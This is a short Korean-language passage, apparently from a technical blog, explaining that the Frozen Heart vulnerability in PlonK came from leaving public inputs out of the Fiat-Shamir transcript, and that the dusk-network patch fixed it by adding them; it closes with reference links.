[Add PIs to the transcript · Issue #676 · dusk-network/plonk](https://github.com/dusk-network/plonk/issues/676)
현재는 다음과 같이 PI를 transcript에 추가하도록 하여 변조를 방지하였음을 알 수 있다.
Frozen heart 취약점은 결국 transcript에 public input이 포함되지 않아 랜덤해야 하는 값을 사전에 계산할 수 있었던 점이 문제이다. 따라서 해당 취약점을 방지하기 위해서는, 위 패치와 같이 transcript에 public input을 포함하여 계산함으로써 평가값 zeta 값과 같이 fiat-shamir 변환을 통해 생성되는 변수를 증명자가 예측할 수 없도록 만들어야 한다.
# Reference
[The Frozen Heart vulnerability in PlonK](https://blog.trailofbits.com/2022/04/18/the-frozen-heart-vulnerability-in-plonk/#exploiting-a-frozen-heart-vulnerability-in-plonk)
[under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200](https://pse.dev/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200)
Google Drive
Gist
Clipboard
Sign in with Wallet
